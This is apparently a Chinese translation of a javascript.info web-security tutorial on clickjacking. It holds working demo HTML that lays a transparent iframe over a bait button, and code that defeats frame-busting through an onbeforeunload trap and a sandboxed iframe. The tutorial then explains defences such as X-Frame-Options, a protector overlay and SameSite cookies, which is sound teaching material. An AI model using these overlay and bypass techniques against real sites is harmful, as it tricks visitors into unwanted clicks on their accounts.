「點擊劫持」攻擊允許惡意頁面代表訪客點擊「受害站點」。
許多網站都以此方式被駭客入侵,包括Twitter、Facebook、PayPal和其他網站。當然,它們都已經修復了。
這個想法
這個想法非常簡單。
這是如何在Facebook上進行點擊劫持的
- 訪客被引導至邪惡頁面,方式不拘。
- 該頁面上有一個看似無害的連結(例如“立即致富”或“點擊這裡,非常有趣”)。
- 邪惡頁面在該連結上方定位一個透明的
<iframe>
,其src
屬性來自 facebook.com,使得“讚”按鈕正好位於該連結上方。通常是通過z-index
實現的。 - 訪客試圖點擊連結,實際上卻點擊了按鈕。
演示
以下是邪惡頁面的外觀。為了清楚起見,<iframe>
是半透明的(在真正的邪惡頁面中,它是完全透明的)。
<style>
iframe { /* iframe from the victim site */
width: 400px;
height: 100px;
position: absolute;
top:0; left:-20px;
opacity: 0.5; /* in real opacity:0 */
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="/clickjacking/facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
攻擊的完整演示
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0.5;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>
在這裡,我們有一個半透明的 <iframe src="facebook.html">
,在示例中,我們可以看到它懸浮在按鈕上方。點擊按鈕實際上是點擊了 iframe,但對用戶不可見,因為 iframe 是透明的。
因此,如果訪客在 Facebook 上有授權(通常會開啟“記住我”功能),則會添加一個“讚”。在 Twitter 上,這將是一個“追蹤”按鈕。
這是相同的示例,但更接近現實,<iframe>
的 opacity:0
。
<!DOCTYPE HTML>
<html>
<body style="margin:10px;padding:10px">
<input type="button" onclick="alert('Like pressed on facebook.html!')" value="I LIKE IT !">
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 5px;
left: -14px;
opacity: 0;
z-index: 1;
}
</style>
<div>Click to get rich now:</div>
<!-- The url from the victim site -->
<iframe src="facebook.html"></iframe>
<button>Click here!</button>
<div>...And you're cool (I'm a cool hacker actually)!</div>
</body>
</html>
我們攻擊所需的一切 - 就是將 <iframe>
在邪惡頁面上定位在按鈕正上方。所以當用戶點擊連結時,他們實際上是點擊了按鈕。通常可以通過 CSS 實現。
該攻擊僅影響鼠標操作(或類似的,如在移動設備上的點擊)。
鍵盤輸入要難以重定向得多。從技術上講,如果我們有一個要黑客的文本字段,那麼我們可以定位一個 iframe,使文本字段彼此重疊。因此,當訪客試圖專注於頁面上看到的輸入時,實際上是專注於 iframe 內部的輸入。
但接著就會出現問題。訪客輸入的所有內容都將被隱藏,因為 iframe 是不可見的。
當訪客無法看到自己在屏幕上打印的新字符時,他們通常會停止輸入。
老式防禦(薄弱)
最古老的防禦是一小段 JavaScript,禁止在框架中打開頁面(所謂的“防框架”)。
它看起來像這樣
if (top != window) {
top.location = window.location;
}
那就是:如果窗口發現自己不在最上層,它會自動讓自己處於最上層。
這並不是一個可靠的防禦,因為有許多方法可以繞過它。讓我們來看看其中幾個。
阻止頂部導航
我們可以通過在 beforeunload 事件處理程序中阻止更改 top.location
引起的轉換來進行阻止。
頂部頁面(包含的頁面,屬於駭客)為其設置了一個阻止處理程序,就像這樣
window.onbeforeunload = function() {
return false;
};
當 iframe
嘗試更改 top.location
時,訪問者會收到一條消息,詢問他們是否想要離開。
在大多數情況下,訪問者會給出否定的答案,因為他們不知道 iframe 的存在 - 他們所能看到的只是頂部頁面,沒有理由離開。因此 top.location
不會改變!
實踐中
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div>Changes top.location to javascript.info</div>
<script>
top.location = 'https://javascriptinfo.dev.org.tw';
</script>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
iframe {
width: 400px;
height: 100px;
position: absolute;
top: 0;
left: -20px;
opacity: 0;
z-index: 1;
}
</style>
<script>
function attack() {
window.onbeforeunload = function() {
window.onbeforeunload = null;
return "Want to leave without learning all the secrets (he-he)?";
};
document.body.insertAdjacentHTML('beforeend', '<iframe src="iframe.html">');
}
</script>
</head>
<body>
<p>After a click on the button the visitor gets a "strange" question about whether they want to leave.</p>
<p>Probably they would respond "No", and the iframe protection is hacked.</p>
<button onclick="attack()">Add a "protected" iframe</button>
</body>
</html>
沙盒屬性
由 sandbox
屬性限制的其中一件事是導航。一個帶有沙盒的 iframe 可能不會更改 top.location
。
因此,我們可以添加帶有 sandbox="allow-scripts allow-forms"
的 iframe。這將放寬限制,允許腳本和表單。但我們省略了 allow-top-navigation
,因此禁止更改 top.location
。
這是代碼
<iframe sandbox="allow-scripts allow-forms" src="facebook.html"></iframe>
還有其他繞過這種簡單保護的方法。
X-Frame-Options
服務器端標頭 X-Frame-Options
可以允許或禁止在框架內顯示頁面。
它必須正確地作為 HTTP 標頭發送:如果在 HTML <meta>
標籤中找到,瀏覽器將忽略它。因此,<meta http-equiv="X-Frame-Options"...>
不起作用。
該標頭可以有 3 個值
DENY
- 永遠不要在框架內顯示頁面。
SAMEORIGIN
- 如果父文檔來自同一來源,則允許在框架內顯示。
ALLOW-FROM domain
- 如果父文檔來自給定域,則允許在框架內顯示。
例如,Twitter 使用 X-Frame-Options: SAMEORIGIN
。
這是結果
<iframe src="https://twitter.com"></iframe>
根據您的瀏覽器,上面的 iframe
可能是空的,或者向您發出警告,說瀏覽器不允許以這種方式導航該頁面。
顯示已禁用的功能
X-Frame-Options
標頭有一個副作用。其他站點將無法在框架中顯示我們的頁面,即使他們有充分理由這樣做。
因此,還有其他解決方案... 例如,我們可以使用樣式 height: 100%; width: 100%;
將頁面“覆蓋”在 <div>
上,這樣它將攔截所有點擊。如果 window == top
或我們發現不需要保護,則應刪除該 <div>
。
類似這樣
<style>
#protector {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
z-index: 99999999;
}
</style>
<div id="protector">
<a href="/" target="_blank">Go to the site</a>
</div>
<script>
// there will be an error if top window is from the different origin
// but that's ok here
if (top.document.domain == document.domain) {
protector.remove();
}
</script>
演示
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<style>
#protector {
height: 100%;
width: 100%;
position: absolute;
left: 0;
top: 0;
z-index: 99999999;
}
</style>
</head>
<body>
<div id="protector">
<a href="/" target="_blank">Go to the site</a>
</div>
<script>
if (top.document.domain == document.domain) {
protector.remove();
}
</script>
This text is always visible.
But if the page was open inside a document from another domain, the div over it would prevent any actions.
<button onclick="alert(1)">Click wouldn't work in that case</button>
</body>
</html>
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<iframe src="iframe.html"></iframe>
</body>
</html>
同站點 Cookie 屬性
samesite
Cookie 屬性也可以防止點擊劫持攻擊。
具有此屬性的 Cookie 只有在直接開啟網站時才會被送出,而不是透過框架或其他方式。更多資訊請參閱章節 Cookies, document.cookie。
如果網站(如 Facebook)的身份驗證 Cookie 具有 samesite
屬性,如下:
Set-Cookie: authorization=secret; samesite
...那麼當 Facebook 在來自其他網站的 iframe 中開啟時,此類 Cookie 就不會被送出。因此攻擊將失敗。
samesite
Cookie 屬性在不使用 Cookie 時不會產生效果。這可能允許其他網站輕鬆地在 iframe 中顯示我們的公開、未驗證的頁面。
然而,這也可能允許點擊劫持攻擊在一些有限的情況下生效。例如,一個匿名的投票網站通過檢查 IP 地址來防止重複投票,但不使用 Cookie 來驗證用戶,因此仍然容易受到點擊劫持攻擊。
摘要
點擊劫持是一種“欺騙”用戶點擊受害網站而不知情的方式。如果存在重要的點擊觸發操作,這是危險的。
黑客可以在訊息中發布對其惡意頁面的連結,或以其他方式誘使訪客訪問其頁面。有很多變化。
從一個角度來看 - 攻擊“不深刻”:黑客只是截取一次點擊。但從另一個角度來看,如果黑客知道點擊後會出現另一個控制,那麼他們可能會使用狡詐的訊息來強迫用戶也點擊它們。
這種攻擊非常危險,因為當我們設計 UI 時,通常不會預料到黑客可能代表訪客進行點擊。因此漏洞可能出現在完全意想不到的地方。
- 建議在(或整個網站上)不打算在框架內檢視的頁面上使用
X-Frame-Options: SAMEORIGIN
。 - 如果我們希望允許我們的頁面在 iframe 中顯示,但仍然保持安全,則使用一個覆蓋的
<div>
。
評論
<code>
標籤;若有幾行程式碼 - 請將它們包裹在<pre>
標籤中;若超過 10 行 - 請使用沙盒(plnkr、jsbin、codepen…)